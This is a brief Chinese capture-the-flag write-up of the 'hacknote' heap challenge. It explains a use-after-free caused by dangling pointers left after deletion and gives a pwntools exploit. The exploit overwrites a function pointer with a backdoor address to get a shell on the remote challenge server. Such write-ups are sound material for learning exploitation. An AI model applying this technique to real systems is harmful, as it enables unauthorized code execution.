堆體經典結構
建立的堆的結構
1個陣列用來存放建立的堆的位址,一次建立兩個堆,第乙個存放函式指標和第二個堆的位址,第二個堆存放內容
刪除操作發現只刪除了兩個堆,並沒有刪除陣列中的位址,存在uaf漏洞
發現乙個後門函式
這個列印功能使用了函式指標,所以只要控制陣列中的位址修改為shell就行了
exp:
from pwn import *
#p=process('./hacknote')
p=remote('node3.buuoj.cn',29702)
def add(size,context):
p.sendlineafter("choice :","1")
p.sendlineafter("size :",str(size))
p.sendlineafter("content :",str(context))
def delete(index):
p.sendlineafter("choice :","2")
p.sendlineafter("index :",str(index))
def printf(index):
p.sendlineafter("choice :","3")
p.sendlineafter("index :",str(index))
add(16,'aaa')
add(16,'aaa')
delete(1)
delete(0)
payload=0x08048945
add(8,p32(payload))
printf(1)
p.interactive()
得到flag
這種堆題結構大多有乙個陣列存放位址,而大部分功能圍繞陣列來,只要控制陣列就行